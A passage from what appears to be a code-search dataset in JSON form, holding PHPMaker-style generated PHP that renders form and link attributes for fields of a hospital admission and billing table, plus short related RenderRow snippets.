\"form-control\";\n\t\t\t$this->IBS_SETMARKING->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_SETMARKING->EditValue = ew_HtmlEncode($this->IBS_SETMARKING->CurrentValue);\n\t\t\t$this->IBS_SETMARKING->PlaceHolder = ew_RemoveHtml($this->IBS_SETMARKING->FldCaption());\n\n\t\t\t// IBS_PATOLOGI\n\t\t\t$this->IBS_PATOLOGI->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->IBS_PATOLOGI->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_PATOLOGI->EditValue = ew_HtmlEncode($this->IBS_PATOLOGI->CurrentValue);\n\t\t\t$this->IBS_PATOLOGI->PlaceHolder = ew_RemoveHtml($this->IBS_PATOLOGI->FldCaption());\n\n\t\t\t// IBS_JENISANESTESI\n\t\t\t$this->IBS_JENISANESTESI->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->IBS_JENISANESTESI->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_JENISANESTESI->EditValue = ew_HtmlEncode($this->IBS_JENISANESTESI->CurrentValue);\n\t\t\t$this->IBS_JENISANESTESI->PlaceHolder = ew_RemoveHtml($this->IBS_JENISANESTESI->FldCaption());\n\n\t\t\t// IBS_NO_OK\n\t\t\t$this->IBS_NO_OK->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->IBS_NO_OK->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_NO_OK->EditValue = ew_HtmlEncode($this->IBS_NO_OK->CurrentValue);\n\t\t\t$this->IBS_NO_OK->PlaceHolder = ew_RemoveHtml($this->IBS_NO_OK->FldCaption());\n\n\t\t\t// IBS_ASISSTEN\n\t\t\t$this->IBS_ASISSTEN->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->IBS_ASISSTEN->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_ASISSTEN->EditValue = ew_HtmlEncode($this->IBS_ASISSTEN->CurrentValue);\n\t\t\t$this->IBS_ASISSTEN->PlaceHolder = ew_RemoveHtml($this->IBS_ASISSTEN->FldCaption());\n\n\t\t\t// IBS_JAM_ELEFTIF\n\t\t\t$this->IBS_JAM_ELEFTIF->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->IBS_JAM_ELEFTIF->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_ELEFTIF->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->IBS_JAM_ELEFTIF->CurrentValue, 8));\n\t\t\t$this->IBS_JAM_ELEFTIF->PlaceHolder = ew_RemoveHtml($this->IBS_JAM_ELEFTIF->FldCaption());\n\n\t\t\t// IBS_JAM_ELEKTIF_SELESAI\n\t\t\t$this->IBS_JAM_ELEKTIF_SELESAI->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->IBS_JAM_ELEKTIF_SELESAI->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_ELEKTIF_SELESAI->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->IBS_JAM_ELEKTIF_SELESAI->CurrentValue, 8));\n\t\t\t$this->IBS_JAM_ELEKTIF_SELESAI->PlaceHolder = ew_RemoveHtml($this->IBS_JAM_ELEKTIF_SELESAI->FldCaption());\n\n\t\t\t// IBS_JAM_CYTO\n\t\t\t$this->IBS_JAM_CYTO->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->IBS_JAM_CYTO->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_CYTO->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->IBS_JAM_CYTO->CurrentValue, 8));\n\t\t\t$this->IBS_JAM_CYTO->PlaceHolder = ew_RemoveHtml($this->IBS_JAM_CYTO->FldCaption());\n\n\t\t\t// IBS_JAM_CYTO_SELESAI\n\t\t\t$this->IBS_JAM_CYTO_SELESAI->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->IBS_JAM_CYTO_SELESAI->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_CYTO_SELESAI->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->IBS_JAM_CYTO_SELESAI->CurrentValue, 8));\n\t\t\t$this->IBS_JAM_CYTO_SELESAI->PlaceHolder = ew_RemoveHtml($this->IBS_JAM_CYTO_SELESAI->FldCaption());\n\n\t\t\t// IBS_TGL_DFTR_OP\n\t\t\t$this->IBS_TGL_DFTR_OP->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->IBS_TGL_DFTR_OP->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_TGL_DFTR_OP->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->IBS_TGL_DFTR_OP->CurrentValue, 8));\n\t\t\t$this->IBS_TGL_DFTR_OP->PlaceHolder = ew_RemoveHtml($this->IBS_TGL_DFTR_OP->FldCaption());\n\n\t\t\t// IBS_TGL_OP\n\t\t\t$this->IBS_TGL_OP->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->IBS_TGL_OP->EditCustomAttributes = \"\";\n\t\t\t$this->IBS_TGL_OP->EditValue = ew_HtmlEncode(ew_FormatDateTime($this->IBS_TGL_OP->CurrentValue, 8));\n\t\t\t$this->IBS_TGL_OP->PlaceHolder = ew_RemoveHtml($this->IBS_TGL_OP->FldCaption());\n\n\t\t\t// grup_ruang_id\n\t\t\t$this->grup_ruang_id->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->grup_ruang_id->EditCustomAttributes = \"\";\n\t\t\t$this->grup_ruang_id->EditValue = ew_HtmlEncode($this->grup_ruang_id->CurrentValue);\n\t\t\t$this->grup_ruang_id->PlaceHolder = ew_RemoveHtml($this->grup_ruang_id->FldCaption());\n\n\t\t\t// status_order_ibs\n\t\t\t$this->status_order_ibs->EditAttrs[\"class\"] = \"form-control\";\n\t\t\t$this->status_order_ibs->EditCustomAttributes = \"\";\n\t\t\t$this->status_order_ibs->EditValue = ew_HtmlEncode($this->status_order_ibs->CurrentValue);\n\t\t\t$this->status_order_ibs->PlaceHolder = ew_RemoveHtml($this->status_order_ibs->FldCaption());\n\n\t\t\t// Add refer script\n\t\t\t// id_admission\n\n\t\t\t$this->id_admission->LinkCustomAttributes = \"\";\n\t\t\t$this->id_admission->HrefValue = \"\";\n\n\t\t\t// nomr\n\t\t\t$this->nomr->LinkCustomAttributes = \"\";\n\t\t\t$this->nomr->HrefValue = \"\";\n\n\t\t\t// ket_nama\n\t\t\t$this->ket_nama->LinkCustomAttributes = \"\";\n\t\t\t$this->ket_nama->HrefValue = \"\";\n\n\t\t\t// ket_tgllahir\n\t\t\t$this->ket_tgllahir->LinkCustomAttributes = \"\";\n\t\t\t$this->ket_tgllahir->HrefValue = \"\";\n\n\t\t\t// ket_alamat\n\t\t\t$this->ket_alamat->LinkCustomAttributes = \"\";\n\t\t\t$this->ket_alamat->HrefValue = \"\";\n\n\t\t\t// parent_nomr\n\t\t\t$this->parent_nomr->LinkCustomAttributes = \"\";\n\t\t\t$this->parent_nomr->HrefValue = \"\";\n\n\t\t\t// dokterpengirim\n\t\t\t$this->dokterpengirim->LinkCustomAttributes = \"\";\n\t\t\t$this->dokterpengirim->HrefValue = \"\";\n\n\t\t\t// statusbayar\n\t\t\t$this->statusbayar->LinkCustomAttributes = \"\";\n\t\t\t$this->statusbayar->HrefValue = \"\";\n\n\t\t\t// kirimdari\n\t\t\t$this->kirimdari->LinkCustomAttributes = \"\";\n\t\t\t$this->kirimdari->HrefValue = \"\";\n\n\t\t\t// keluargadekat\n\t\t\t$this->keluargadekat->LinkCustomAttributes = \"\";\n\t\t\t$this->keluargadekat->HrefValue = \"\";\n\n\t\t\t// panggungjawab\n\t\t\t$this->panggungjawab->LinkCustomAttributes = \"\";\n\t\t\t$this->panggungjawab->HrefValue = \"\";\n\n\t\t\t// masukrs\n\t\t\t$this->masukrs->LinkCustomAttributes = \"\";\n\t\t\t$this->masukrs->HrefValue = \"\";\n\n\t\t\t// noruang\n\t\t\t$this->noruang->LinkCustomAttributes = \"\";\n\t\t\t$this->noruang->HrefValue = \"\";\n\n\t\t\t// tempat_tidur_id\n\t\t\t$this->tempat_tidur_id->LinkCustomAttributes = \"\";\n\t\t\t$this->tempat_tidur_id->HrefValue = \"\";\n\n\t\t\t// nott\n\t\t\t$this->nott->LinkCustomAttributes = \"\";\n\t\t\t$this->nott->HrefValue = \"\";\n\n\t\t\t// deposit\n\t\t\t$this->deposit->LinkCustomAttributes = \"\";\n\t\t\t$this->deposit->HrefValue = \"\";\n\n\t\t\t// keluarrs\n\t\t\t$this->keluarrs->LinkCustomAttributes = \"\";\n\t\t\t$this->keluarrs->HrefValue = \"\";\n\n\t\t\t// icd_masuk\n\t\t\t$this->icd_masuk->LinkCustomAttributes = \"\";\n\t\t\t$this->icd_masuk->HrefValue = \"\";\n\n\t\t\t// icd_keluar\n\t\t\t$this->icd_keluar->LinkCustomAttributes = \"\";\n\t\t\t$this->icd_keluar->HrefValue = \"\";\n\n\t\t\t// NIP\n\t\t\t$this->NIP->LinkCustomAttributes = \"\";\n\t\t\t$this->NIP->HrefValue = \"\";\n\n\t\t\t// noruang_asal\n\t\t\t$this->noruang_asal->LinkCustomAttributes = \"\";\n\t\t\t$this->noruang_asal->HrefValue = \"\";\n\n\t\t\t// nott_asal\n\t\t\t$this->nott_asal->LinkCustomAttributes = \"\";\n\t\t\t$this->nott_asal->HrefValue = \"\";\n\n\t\t\t// tgl_pindah\n\t\t\t$this->tgl_pindah->LinkCustomAttributes = \"\";\n\t\t\t$this->tgl_pindah->HrefValue = \"\";\n\n\t\t\t// kd_rujuk\n\t\t\t$this->kd_rujuk->LinkCustomAttributes = \"\";\n\t\t\t$this->kd_rujuk->HrefValue = \"\";\n\n\t\t\t// st_bayar\n\t\t\t$this->st_bayar->LinkCustomAttributes = \"\";\n\t\t\t$this->st_bayar->HrefValue = \"\";\n\n\t\t\t// dokter_penanggungjawab\n\t\t\t$this->dokter_penanggungjawab->LinkCustomAttributes = \"\";\n\t\t\t$this->dokter_penanggungjawab->HrefValue = \"\";\n\n\t\t\t// perawat\n\t\t\t$this->perawat->LinkCustomAttributes = \"\";\n\t\t\t$this->perawat->HrefValue = \"\";\n\n\t\t\t// KELASPERAWATAN_ID\n\t\t\t$this->KELASPERAWATAN_ID->LinkCustomAttributes = \"\";\n\t\t\t$this->KELASPERAWATAN_ID->HrefValue = \"\";\n\n\t\t\t// LOS\n\t\t\t$this->LOS->LinkCustomAttributes = \"\";\n\t\t\t$this->LOS->HrefValue = \"\";\n\n\t\t\t// TOT_TRF_TIND_DOKTER\n\t\t\t$this->TOT_TRF_TIND_DOKTER->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_TRF_TIND_DOKTER->HrefValue = \"\";\n\n\t\t\t// TOT_BHP_DOKTER\n\t\t\t$this->TOT_BHP_DOKTER->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BHP_DOKTER->HrefValue = \"\";\n\n\t\t\t// TOT_TRF_PERAWAT\n\t\t\t$this->TOT_TRF_PERAWAT->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_TRF_PERAWAT->HrefValue = \"\";\n\n\t\t\t// TOT_BHP_PERAWAT\n\t\t\t$this->TOT_BHP_PERAWAT->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BHP_PERAWAT->HrefValue = \"\";\n\n\t\t\t// TOT_TRF_DOKTER\n\t\t\t$this->TOT_TRF_DOKTER->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_TRF_DOKTER->HrefValue = \"\";\n\n\t\t\t// TOT_BIAYA_RAD\n\t\t\t$this->TOT_BIAYA_RAD->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_RAD->HrefValue = \"\";\n\n\t\t\t// TOT_BIAYA_CDRPOLI\n\t\t\t$this->TOT_BIAYA_CDRPOLI->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_CDRPOLI->HrefValue = \"\";\n\n\t\t\t// TOT_BIAYA_LAB_IGD\n\t\t\t$this->TOT_BIAYA_LAB_IGD->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_LAB_IGD->HrefValue = \"\";\n\n\t\t\t// TOT_BIAYA_OKSIGEN\n\t\t\t$this->TOT_BIAYA_OKSIGEN->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_OKSIGEN->HrefValue = \"\";\n\n\t\t\t// TOTAL_BIAYA_OBAT\n\t\t\t$this->TOTAL_BIAYA_OBAT->LinkCustomAttributes = \"\";\n\t\t\t$this->TOTAL_BIAYA_OBAT->HrefValue = \"\";\n\n\t\t\t// LINK_SET_KELAS\n\t\t\t$this->LINK_SET_KELAS->LinkCustomAttributes = \"\";\n\t\t\t$this->LINK_SET_KELAS->HrefValue = \"\";\n\n\t\t\t// biaya_obat\n\t\t\t$this->biaya_obat->LinkCustomAttributes = \"\";\n\t\t\t$this->biaya_obat->HrefValue = \"\";\n\n\t\t\t// biaya_retur_obat\n\t\t\t$this->biaya_retur_obat->LinkCustomAttributes = \"\";\n\t\t\t$this->biaya_retur_obat->HrefValue = \"\";\n\n\t\t\t// TOT_BIAYA_GIZI\n\t\t\t$this->TOT_BIAYA_GIZI->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_GIZI->HrefValue = \"\";\n\n\t\t\t// TOT_BIAYA_TMO\n\t\t\t$this->TOT_BIAYA_TMO->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_TMO->HrefValue = \"\";\n\n\t\t\t// TOT_BIAYA_AMBULAN\n\t\t\t$this->TOT_BIAYA_AMBULAN->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_AMBULAN->HrefValue = \"\";\n\n\t\t\t// TOT_BIAYA_FISIO\n\t\t\t$this->TOT_BIAYA_FISIO->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_FISIO->HrefValue = \"\";\n\n\t\t\t// TOT_BIAYA_LAINLAIN\n\t\t\t$this->TOT_BIAYA_LAINLAIN->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_LAINLAIN->HrefValue = \"\";\n\n\t\t\t// jenisperawatan_id\n\t\t\t$this->jenisperawatan_id->LinkCustomAttributes = \"\";\n\t\t\t$this->jenisperawatan_id->HrefValue = \"\";\n\n\t\t\t// status_transaksi\n\t\t\t$this->status_transaksi->LinkCustomAttributes = \"\";\n\t\t\t$this->status_transaksi->HrefValue = \"\";\n\n\t\t\t// statuskeluarranap_id\n\t\t\t$this->statuskeluarranap_id->LinkCustomAttributes = \"\";\n\t\t\t$this->statuskeluarranap_id->HrefValue = \"\";\n\n\t\t\t// TOT_BIAYA_AKOMODASI\n\t\t\t$this->TOT_BIAYA_AKOMODASI->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_BIAYA_AKOMODASI->HrefValue = \"\";\n\n\t\t\t// TOTAL_BIAYA_ASKEP\n\t\t\t$this->TOTAL_BIAYA_ASKEP->LinkCustomAttributes = \"\";\n\t\t\t$this->TOTAL_BIAYA_ASKEP->HrefValue = \"\";\n\n\t\t\t// TOTAL_BIAYA_SIMRS\n\t\t\t$this->TOTAL_BIAYA_SIMRS->LinkCustomAttributes = \"\";\n\t\t\t$this->TOTAL_BIAYA_SIMRS->HrefValue = \"\";\n\n\t\t\t// TOT_PENJ_NMEDIS\n\t\t\t$this->TOT_PENJ_NMEDIS->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_PENJ_NMEDIS->HrefValue = \"\";\n\n\t\t\t// LINK_MASTERDETAIL\n\t\t\t$this->LINK_MASTERDETAIL->LinkCustomAttributes = \"\";\n\t\t\t$this->LINK_MASTERDETAIL->HrefValue = \"\";\n\n\t\t\t// NO_SKP\n\t\t\t$this->NO_SKP->LinkCustomAttributes = \"\";\n\t\t\t$this->NO_SKP->HrefValue = \"\";\n\n\t\t\t// LINK_PELAYANAN_OBAT\n\t\t\t$this->LINK_PELAYANAN_OBAT->LinkCustomAttributes = \"\";\n\t\t\t$this->LINK_PELAYANAN_OBAT->HrefValue = \"\";\n\n\t\t\t// TOT_TIND_RAJAL\n\t\t\t$this->TOT_TIND_RAJAL->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_TIND_RAJAL->HrefValue = \"\";\n\n\t\t\t// TOT_TIND_IGD\n\t\t\t$this->TOT_TIND_IGD->LinkCustomAttributes = \"\";\n\t\t\t$this->TOT_TIND_IGD->HrefValue = \"\";\n\n\t\t\t// tanggal_pengembalian_status\n\t\t\t$this->tanggal_pengembalian_status->LinkCustomAttributes = \"\";\n\t\t\t$this->tanggal_pengembalian_status->HrefValue = \"\";\n\n\t\t\t// naik_kelas\n\t\t\t$this->naik_kelas->LinkCustomAttributes = \"\";\n\t\t\t$this->naik_kelas->HrefValue = \"\";\n\n\t\t\t// iuran_kelas_lama\n\t\t\t$this->iuran_kelas_lama->LinkCustomAttributes = \"\";\n\t\t\t$this->iuran_kelas_lama->HrefValue = \"\";\n\n\t\t\t// iuran_kelas_baru\n\t\t\t$this->iuran_kelas_baru->LinkCustomAttributes = \"\";\n\t\t\t$this->iuran_kelas_baru->HrefValue = \"\";\n\n\t\t\t// ketrangan_naik_kelas\n\t\t\t$this->ketrangan_naik_kelas->LinkCustomAttributes = \"\";\n\t\t\t$this->ketrangan_naik_kelas->HrefValue = \"\";\n\n\t\t\t// tgl_pengiriman_ad_klaim\n\t\t\t$this->tgl_pengiriman_ad_klaim->LinkCustomAttributes = \"\";\n\t\t\t$this->tgl_pengiriman_ad_klaim->HrefValue = \"\";\n\n\t\t\t// diagnosa_keluar\n\t\t\t$this->diagnosa_keluar->LinkCustomAttributes = \"\";\n\t\t\t$this->diagnosa_keluar->HrefValue = \"\";\n\n\t\t\t// sep_tglsep\n\t\t\t$this->sep_tglsep->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_tglsep->HrefValue = \"\";\n\n\t\t\t// sep_tglrujuk\n\t\t\t$this->sep_tglrujuk->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_tglrujuk->HrefValue = \"\";\n\n\t\t\t// sep_kodekelasrawat\n\t\t\t$this->sep_kodekelasrawat->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodekelasrawat->HrefValue = \"\";\n\n\t\t\t// sep_norujukan\n\t\t\t$this->sep_norujukan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_norujukan->HrefValue = \"\";\n\n\t\t\t// sep_kodeppkasal\n\t\t\t$this->sep_kodeppkasal->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodeppkasal->HrefValue = \"\";\n\n\t\t\t// sep_namappkasal\n\t\t\t$this->sep_namappkasal->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namappkasal->HrefValue = \"\";\n\n\t\t\t// sep_kodeppkpelayanan\n\t\t\t$this->sep_kodeppkpelayanan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodeppkpelayanan->HrefValue = \"\";\n\n\t\t\t// sep_namappkpelayanan\n\t\t\t$this->sep_namappkpelayanan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namappkpelayanan->HrefValue = \"\";\n\n\t\t\t// t_admissioncol\n\t\t\t$this->t_admissioncol->LinkCustomAttributes = \"\";\n\t\t\t$this->t_admissioncol->HrefValue = \"\";\n\n\t\t\t// sep_jenisperawatan\n\t\t\t$this->sep_jenisperawatan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_jenisperawatan->HrefValue = \"\";\n\n\t\t\t// sep_catatan\n\t\t\t$this->sep_catatan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_catatan->HrefValue = \"\";\n\n\t\t\t// sep_kodediagnosaawal\n\t\t\t$this->sep_kodediagnosaawal->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodediagnosaawal->HrefValue = \"\";\n\n\t\t\t// sep_namadiagnosaawal\n\t\t\t$this->sep_namadiagnosaawal->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namadiagnosaawal->HrefValue = \"\";\n\n\t\t\t// sep_lakalantas\n\t\t\t$this->sep_lakalantas->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_lakalantas->HrefValue = \"\";\n\n\t\t\t// sep_lokasilaka\n\t\t\t$this->sep_lokasilaka->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_lokasilaka->HrefValue = \"\";\n\n\t\t\t// sep_user\n\t\t\t$this->sep_user->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_user->HrefValue = \"\";\n\n\t\t\t// sep_flag_cekpeserta\n\t\t\t$this->sep_flag_cekpeserta->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_flag_cekpeserta->HrefValue = \"\";\n\n\t\t\t// sep_flag_generatesep\n\t\t\t$this->sep_flag_generatesep->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_flag_generatesep->HrefValue = \"\";\n\n\t\t\t// sep_flag_mapingsep\n\t\t\t$this->sep_flag_mapingsep->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_flag_mapingsep->HrefValue = \"\";\n\n\t\t\t// sep_nik\n\t\t\t$this->sep_nik->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_nik->HrefValue = \"\";\n\n\t\t\t// sep_namapeserta\n\t\t\t$this->sep_namapeserta->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namapeserta->HrefValue = \"\";\n\n\t\t\t// sep_jeniskelamin\n\t\t\t$this->sep_jeniskelamin->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_jeniskelamin->HrefValue = \"\";\n\n\t\t\t// sep_pisat\n\t\t\t$this->sep_pisat->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_pisat->HrefValue = \"\";\n\n\t\t\t// sep_tgllahir\n\t\t\t$this->sep_tgllahir->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_tgllahir->HrefValue = \"\";\n\n\t\t\t// sep_kodejeniskepesertaan\n\t\t\t$this->sep_kodejeniskepesertaan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodejeniskepesertaan->HrefValue = \"\";\n\n\t\t\t// sep_namajeniskepesertaan\n\t\t\t$this->sep_namajeniskepesertaan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namajeniskepesertaan->HrefValue = \"\";\n\n\t\t\t// sep_kodepolitujuan\n\t\t\t$this->sep_kodepolitujuan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_kodepolitujuan->HrefValue = \"\";\n\n\t\t\t// sep_namapolitujuan\n\t\t\t$this->sep_namapolitujuan->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_namapolitujuan->HrefValue = \"\";\n\n\t\t\t// ket_jeniskelamin\n\t\t\t$this->ket_jeniskelamin->LinkCustomAttributes = \"\";\n\t\t\t$this->ket_jeniskelamin->HrefValue = \"\";\n\n\t\t\t// sep_nokabpjs\n\t\t\t$this->sep_nokabpjs->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_nokabpjs->HrefValue = \"\";\n\n\t\t\t// counter_cetak_sep\n\t\t\t$this->counter_cetak_sep->LinkCustomAttributes = \"\";\n\t\t\t$this->counter_cetak_sep->HrefValue = \"\";\n\n\t\t\t// sep_petugas_hapus_sep\n\t\t\t$this->sep_petugas_hapus_sep->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_petugas_hapus_sep->HrefValue = \"\";\n\n\t\t\t// sep_petugas_set_tgl_pulang\n\t\t\t$this->sep_petugas_set_tgl_pulang->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_petugas_set_tgl_pulang->HrefValue = \"\";\n\n\t\t\t// sep_jam_generate_sep\n\t\t\t$this->sep_jam_generate_sep->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_jam_generate_sep->HrefValue = \"\";\n\n\t\t\t// sep_status_peserta\n\t\t\t$this->sep_status_peserta->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_status_peserta->HrefValue = \"\";\n\n\t\t\t// sep_umur_pasien_sekarang\n\t\t\t$this->sep_umur_pasien_sekarang->LinkCustomAttributes = \"\";\n\t\t\t$this->sep_umur_pasien_sekarang->HrefValue = \"\";\n\n\t\t\t// ket_title\n\t\t\t$this->ket_title->LinkCustomAttributes = \"\";\n\t\t\t$this->ket_title->HrefValue = \"\";\n\n\t\t\t// status_daftar_ranap\n\t\t\t$this->status_daftar_ranap->LinkCustomAttributes = \"\";\n\t\t\t$this->status_daftar_ranap->HrefValue = \"\";\n\n\t\t\t// IBS_SETMARKING\n\t\t\t$this->IBS_SETMARKING->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_SETMARKING->HrefValue = \"\";\n\n\t\t\t// IBS_PATOLOGI\n\t\t\t$this->IBS_PATOLOGI->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_PATOLOGI->HrefValue = \"\";\n\n\t\t\t// IBS_JENISANESTESI\n\t\t\t$this->IBS_JENISANESTESI->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_JENISANESTESI->HrefValue = \"\";\n\n\t\t\t// IBS_NO_OK\n\t\t\t$this->IBS_NO_OK->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_NO_OK->HrefValue = \"\";\n\n\t\t\t// IBS_ASISSTEN\n\t\t\t$this->IBS_ASISSTEN->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_ASISSTEN->HrefValue = \"\";\n\n\t\t\t// IBS_JAM_ELEFTIF\n\t\t\t$this->IBS_JAM_ELEFTIF->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_ELEFTIF->HrefValue = \"\";\n\n\t\t\t// IBS_JAM_ELEKTIF_SELESAI\n\t\t\t$this->IBS_JAM_ELEKTIF_SELESAI->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_ELEKTIF_SELESAI->HrefValue = \"\";\n\n\t\t\t// IBS_JAM_CYTO\n\t\t\t$this->IBS_JAM_CYTO->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_CYTO->HrefValue = \"\";\n\n\t\t\t// IBS_JAM_CYTO_SELESAI\n\t\t\t$this->IBS_JAM_CYTO_SELESAI->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_JAM_CYTO_SELESAI->HrefValue = \"\";\n\n\t\t\t// IBS_TGL_DFTR_OP\n\t\t\t$this->IBS_TGL_DFTR_OP->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_TGL_DFTR_OP->HrefValue = \"\";\n\n\t\t\t// IBS_TGL_OP\n\t\t\t$this->IBS_TGL_OP->LinkCustomAttributes = \"\";\n\t\t\t$this->IBS_TGL_OP->HrefValue = \"\";\n\n\t\t\t// grup_ruang_id\n\t\t\t$this->grup_ruang_id->LinkCustomAttributes = \"\";\n\t\t\t$this->grup_ruang_id->HrefValue = \"\";\n\n\t\t\t// status_order_ibs\n\t\t\t$this->status_order_ibs->LinkCustomAttributes = \"\";\n\t\t\t$this->status_order_ibs->HrefValue = \"\";\n\t\t}\n\t\tif ($this->RowType == EW_ROWTYPE_ADD ||\n\t\t\t$this->RowType == EW_ROWTYPE_EDIT ||\n\t\t\t$this->RowType == EW_ROWTYPE_SEARCH) { // Add / Edit / Search row\n\t\t\t$this->SetupFieldTitles();\n\t\t}\n\n\t\t// Call Row Rendered event\n\t\tif ($this->RowType <> EW_ROWTYPE_AGGREGATEINIT)\n\t\t\t$this->Row_Rendered();\n\t}", "title": "" }, { "docid": "a98f867c14dd2639ba4b4de03baf42e9", "score": "0.5769347", "text": "protected function prepareRendering() {}", "title": "" }, { "docid": "4ca254a08f6c654ebdc1f0b5ba8d0487", "score": "0.57639855", "text": "function displayData() {\n\t\t$this->getData = new getData;\n\t}", "title": "" }, { "docid": "d7b9533d372e2c464ea94e854c9403be", "score": "0.5758632", "text": "function RenderRow() {\n\t\tglobal $Security, $Language, $gsLanguage;\n\n\t\t// Initialize URLs\n\t\t$this->ViewUrl = $this->GetViewUrl();\n\t\t$this->EditUrl = $this->GetEditUrl();\n\t\t$this->InlineEditUrl = $this->GetInlineEditUrl();\n\t\t$this->CopyUrl = $this->GetCopyUrl();\n\t\t$this->InlineCopyUrl = $this->GetInlineCopyUrl();\n\t\t$this->DeleteUrl = $this->GetDeleteUrl();\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->late->FormValue == $this->late->CurrentValue && is_numeric(ew_StrToFloat($this->late->CurrentValue)))\n\t\t\t$this->late->CurrentValue = ew_StrToFloat($this->late->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->break->FormValue == $this->break->CurrentValue && is_numeric(ew_StrToFloat($this->break->CurrentValue)))\n\t\t\t$this->break->CurrentValue = ew_StrToFloat($this->break->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->break_ot->FormValue == $this->break_ot->CurrentValue && is_numeric(ew_StrToFloat($this->break_ot->CurrentValue)))\n\t\t\t$this->break_ot->CurrentValue = ew_StrToFloat($this->break_ot->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->early->FormValue == $this->early->CurrentValue && is_numeric(ew_StrToFloat($this->early->CurrentValue)))\n\t\t\t$this->early->CurrentValue = ew_StrToFloat($this->early->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->durasi->FormValue == $this->durasi->CurrentValue && is_numeric(ew_StrToFloat($this->durasi->CurrentValue)))\n\t\t\t$this->durasi->CurrentValue = ew_StrToFloat($this->durasi->CurrentValue);\n\n\t\t// Convert decimal values if posted back\n\t\tif ($this->jk_count_as->FormValue == $this->jk_count_as->CurrentValue && is_numeric(ew_StrToFloat($this->jk_count_as->CurrentValue)))\n\t\t\t$this->jk_count_as->CurrentValue = 